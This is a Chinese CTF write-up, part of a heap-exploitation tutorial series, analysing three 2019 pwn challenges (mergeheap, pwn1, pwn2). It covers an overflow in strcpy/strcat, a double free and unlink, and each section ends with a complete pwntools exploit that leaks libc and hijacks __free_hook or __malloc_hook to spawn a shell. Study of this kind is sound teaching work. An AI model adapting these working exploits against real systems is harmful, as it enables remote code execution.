0%

pwn堆入门系列教程6

pwn堆入门系列教程6

本文首发于先知社区

pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3
pwn堆入门系列教程4
pwn堆入门系列教程5

要将别人的东西转化成自己的东西,还是得实操,自己去操作番才可以得到些东西,学了这么久,这几天的比赛也算是用上了,有unlink,有double free,这些操作用上了

2019护网杯 mergeheap

我每次看到题目名字跟函数名字相同,我就知道点就在那个函数上,然而我当时已经看出这里有溢出了,然后调试的时候以为没覆盖到,原来只能覆盖到size,还是脑子不清晰,所以才会这样

功能分析

  1. 新建一个堆块
  2. 展示堆块内容
  3. 删除一个堆块
  4. 合并两个堆块内容
  5. 退出

乍一看就只有合并比较可疑了,通常堆题没合并,而题目又是mergeheap

漏洞点分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int sub_E29()
{
int i; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 14 && qword_2020A0[i]; ++i )
;
if ( i > 14 )
return puts("full");
printf("idx1:");
v2 = sub_B8B();
if ( v2 < 0 || v2 > 14 || !qword_2020A0[v2] )
return puts("invalid");
printf("idx2:");
v3 = sub_B8B();
if ( v3 < 0 || v3 > 14 || !qword_2020A0[v3] )
return puts("invalid");
v4 = dword_202060[v2] + dword_202060[v3];
qword_2020A0[i] = malloc(v4);
strcpy(qword_2020A0[i], qword_2020A0[v2]);
strcat(qword_2020A0[i], qword_2020A0[v3]);
dword_202060[i] = v4;
return puts("Done");
}

merge这里的strcpy跟strcat都是遇到\x00结束的,所以,我们如果将下一个堆块的pre_size当数据段来用的话,就可以复制到size部分,merge的时候会覆盖到下一个堆块的size,溢出覆盖size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_D72()
{
_DWORD *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

printf("idx:");
v2 = sub_B8B();
if ( v2 >= 0 && v2 <= 14 && qword_2020A0[v2] )
{
free(qword_2020A0[v2]);
qword_2020A0[v2] = 0LL;
v0 = dword_202060;
dword_202060[v2] = 0;
}
else
{
LODWORD(v0) = puts("invalid");
}
return v0;
}

free过后,堆块内容未清空,也就是说,我们申请一个堆块,然后free掉,在申请到这个堆块时候,就可以查看原来堆块的内容

漏洞利用过程

  1. 初始化堆块操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def add(size, content):
io.sendline("1")
io.sendline(str(size))
if len(content) != size:
io.sendline(content)
else:
io.send(content)

def show(idx):
io.sendline("2")
io.sendline(str(idx))

def delete(idx):
io.sendline("3")
io.sendline(str(idx))

def merge(idx1, idx2):
io.sendline("4")
io.sendline(str(idx1))
io.sendline(str(idx2))
  1. 填满tcache,并利用unsortbin泄露libc地址
1
2
3
4
5
6
7
8
9
10
11
for i in xrange(8):
add(0x100, str(i)*0x10)
for i in xrange(8):
delete(7-i)
add(0x8, '0'*8) #0
show(0)
io.recvuntil("0"*8)
libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)

我反过来删除是因为show好弄些,也可以正向删除,show(7)

  1. 重点,这里的大小要构造好,被复制和被覆盖的得分清楚,最后造成overlap chunk,然后修改tcache的fd指针成malloc_hook就行了,这里跟fastbin不太相似,fastbin这种攻击大小限制得是0x70大小chunk,因为错位的时候只有0x7f通常
1
2
3
4
5
6
7
8
9
10
11
12
add(0xe0, '1') #1
add(0x10, '2'*0x10) #2
add(0x18, '3'*0x18) #3
add(0x80, '4'*0x80) #4 被复制的size
add(0x20, '5'*0x20) #5
add(0x20, '6'*0x20) #6 size部分将被覆盖

delete(5)
merge(2, 3)
add(0x20, '7'*0x20)
delete(7)
delete(6) #构造overlap chunk
  1. getshell
1
2
3
4
5
6
payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
add(0x80, payload) #6
#gdb.attach(io)
add(0x20, '/bin/sh\x00') #7
add(0x20, p64(system_addr))
delete(7)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'mergeheap'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'mergeheap'
ctx.binary = exe
libc = args.LIBC or 'libc-2.27.so'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled

def add(size, content):
io.sendline("1")
io.sendline(str(size))
if len(content) != size:
io.sendline(content)
else:
io.send(content)

def show(idx):
io.sendline("2")
io.sendline(str(idx))

def delete(idx):
io.sendline("3")
io.sendline(str(idx))

def merge(idx1, idx2):
io.sendline("4")
io.sendline(str(idx1))
io.sendline(str(idx2))


def exp():
for i in xrange(8):
add(0x100, str(i)*0x10)
for i in xrange(8):
delete(7-i)
add(0x8, '0'*8) #0
show(0)
io.recvuntil("0"*8)
libc_base = u64(io.recv(6).strip().ljust(8, '\x00'))-0x3ebda0
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
io.success("libc_base: 0x%x" % libc_base)

add(0xe0, '1') #1
add(0x10, '2'*0x10) #2
add(0x18, '3'*0x18) #3
add(0x80, '4'*0x80) #4
add(0x20, '5'*0x20) #5
add(0x20, '6'*0x20) #6

delete(5)
merge(2, 3)
add(0x20, '7'*0x20)
delete(7)
delete(6) #构造overlap chunk
payload = 'a'*0x20 + p64(0) + p64(0x31) + p64(free_hook)
add(0x80, payload) #6
#gdb.attach(io)
add(0x20, '/bin/sh\x00') #7
add(0x20, p64(system_addr))
delete(7)



if __name__ == '__main__':
exp()
io.interactive()

2019 网络内生安全试验场 pwn1

功能分析

  1. 创建一个堆块
  2. 展示所有堆块
  3. 删除一个堆块
  4. 删除所有堆块
  5. 离开

漏洞点分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( lifecount )
{
printf("Which life do you want to remove: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x63 || !*(&lifelist + v1) )
{
puts("Invalid choice");
return 0;
}
*(_DWORD *)*(&lifelist + v1) = 0;
free(*((void **)*(&lifelist + v1) + 1));
puts("Successful , God !");
}
else
{
puts("No life in this lonely planet~ ");
}
return puts("\n");
}

这里存在double free,free后为置空

漏洞利用过程

我是多次利用double free然后成的,这道题说实话很坑,malloc_hook本地改成one_gadget是可以成功的,远程怎么打都打不上,后面学到一个骚操作,double free触发malloc_hook???原理我也不清楚,不过确实远程拿到shell了

  1. 利用double free泄露地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ptr = 0x00000000006020E0-0x20-0x30-0x6
add(0x30, "a", "0") #0
add(0x30, "b", "1") #1
delete(0)
delete(1)
delete(0)
add(0x30, p64(ptr), '2') #2
add(0x30, 'a', '3') #3
add(0x30, 'a', '4') #4
add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
show()
io.recvuntil("bbbbb")
stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
stdout_addr = hex(stdout_addr)[:-2]
stdout_addr = int(stdout_addr, 16)
io.success("stdout_addr: 0x%x" % stdout_addr)

libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
realloc_addr = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x45216
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xf02a4
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.symbols['__malloc_hook']
ptr = malloc_hook-0x20-0x3
  1. 利用double free改写地址
1
2
3
4
5
6
7
8
9
10
11
12
add(0x60, "a", "6")#6
add(0x60, "b", "7")#7
delete(6)
delete(7)
delete(6)
add(0x60, p64(ptr), '8') #8
add(0x60, 'a', '9') #9
add(0x60, 'a', '10') #10
add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
io.success("malloc_hook: 0x%x" % malloc_hook)
io.success("libc_base: 0x%x" % libc_base )
io.success("one_gadget: 0x%x" % one_gadget)
  1. getshell
1
2
delete(2)
delete(2)

double free 拿到shell,这里其实malloc一次本地可以拿shell,远程不行,原因未详,可能栈环境对不上

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'pwn1'
elf = context.binary = ELF(exe)


#don't forget to change it
#ctx.binary = './' + 'pwn1'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
libc = ELF(libc)
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(size, name, level):
io.sendlineafter("Your choice : ", "1")
io.sendlineafter("Length of the name :", str(size))
io.sendlineafter("The name of this life :", name)
io.sendlineafter("The level of this life (High/Low) :", level)

def show():
io.sendlineafter("Your choice : ", "2")

def delete(idx):
io.sendlineafter("Your choice : ", "3")
io.sendlineafter("Which life do you want to remove: ", str(idx))

def destroy():
io.sendlineafter("Your choice : ", "4")

def exit():
io.sendlineafter("Your choice : ", "5")


def exp():
ptr = 0x00000000006020E0-0x20-0x30-0x6
add(0x30, "a", "0") #0
add(0x30, "b", "1") #1
delete(0)
delete(1)
delete(0)
add(0x30, p64(ptr), '2') #2
add(0x30, 'a', '3') #3
add(0x30, 'a', '4') #4
add(0x30, 'a'*0x20 + 'b'*5 , '5')#5
show()
io.recvuntil("bbbbb")
stdout_addr = u64(io.recvuntil("Level", drop=True).ljust(8, '\x00'))
stdout_addr = hex(stdout_addr)[:-2]
stdout_addr = int(stdout_addr, 16)
io.success("stdout_addr: 0x%x" % stdout_addr)

libc_base = stdout_addr - libc.symbols['_IO_2_1_stdout_']
realloc_addr = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x45216
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xf02a4
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.symbols['__malloc_hook']
ptr = malloc_hook-0x20-0x3
add(0x60, "a", "6")#6
add(0x60, "b", "7")#7
delete(6)
delete(7)
delete(6)
add(0x60, p64(ptr), '8') #8
add(0x60, 'a', '9') #9
add(0x60, 'a', '10') #10
add(0x60, 'c'*0x10+ 'd'*0x3 + p64(one_gadget), '6')
io.success("malloc_hook: 0x%x" % malloc_hook)
io.success("libc_base: 0x%x" % libc_base )
io.success("one_gadget: 0x%x" % one_gadget)
delete(2)
delete(2)
#add(0x30, 'a'*0x20+'b'*5,'3')
#gdb.attach(io)
'''
'''


if __name__ == '__main__':
exp()
io.interactive()

2019 网络内生安全试验场 pwn2

实战中遇到最简单的一道了?

功能分析

  1. new一个新堆块
  2. 删除一个堆块
  3. 展示一个堆块
  4. 修改堆块内容,有趣的是,他是固定大小0x100?
  5. 退出

漏洞点分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 record()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("record which?");
__isoc99_scanf("%d", &v1);
if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("content?");
read(0, buf[v1], 0x100uLL);
}
return __readfsqword(0x28u) ^ v2;
}

这里是固定大小,所以申请小堆块可以溢出

漏洞利用过程

  1. 我的思路是溢出后unlink,然后在将两个堆块串联起来,unlink里介绍的手法,就是一个堆块指向另一个堆块存指针的地方,然后编辑一个堆块就是编辑地址,编辑另一个堆块就是编辑内容

  2. 初始化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def add(size):
io.sendlineafter("your choice :\n", "1")
io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
io.sendlineafter("your choice :\n", "2")
io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
io.sendlineafter("your choice :\n", "3")
io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
io.sendlineafter("your choice :\n", "4")
io.sendlineafter("record which?\n", str(idx))
io.sendlineafter("content?\n", content)

def exit():
io.sendlineafter("your choice :\n", "5")
  1. unlink
1
2
3
4
5
6
7
8
9
10
11
12
13
ptr = 0x6020c0
add(0x40)
add(0x80)
add(0x40)
add(0x40)
payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x40)
payload += p64(0x40)
payload += p64(0x90)
record(0, payload)
record(1, "1"*0x10)
delete(1)
#show(0)
  1. 链接两个堆块
1
2
3
payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
record(0, payload)
show(2)
  1. 泄露地址
1
2
3
4
5
6
7
8
9
io.recvuntil("the content is :")
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']
#gdb.attach(io)
  1. getshell
1
2
3
4
record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False

# Set up pwntools for the correct architecture
exe = './' + 'pwn2'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '39.106.94.18'
port = 32768

#don't forget to change it
#ctx.binary = './' + 'pwn2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
#context.log_level = 'debug'
io = ctx.start()
libc = ELF(libc)
else:
io = remote(host,port)
libc = ELF(libc)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def add(size):
io.sendlineafter("your choice :\n", "1")
io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
io.sendlineafter("your choice :\n", "2")
io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
io.sendlineafter("your choice :\n", "3")
io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
io.sendlineafter("your choice :\n", "4")
io.sendlineafter("record which?\n", str(idx))
io.sendlineafter("content?\n", content)

def exit():
io.sendlineafter("your choice :\n", "5")


def exp():

ptr = 0x6020c0
add(0x40)
add(0x80)
add(0x40)
add(0x40)
payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x40)
payload += p64(0x40)
payload += p64(0x90)
record(0, payload)
record(1, "1"*0x10)
delete(1)
#show(0)
payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
record(0, payload)
show(2)
io.recvuntil("the content is :")
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']

record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)
#gdb.attach(io)

#delete(0)

if __name__ == '__main__':
exp()
io.interactive()

题目下载地址

点我,快点我

总结

实操的时候发觉自己点是知道了,找漏洞点能力还待提升,利用起来也是得多调试下

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/84788ee9/
版权声明:转载请注明出处!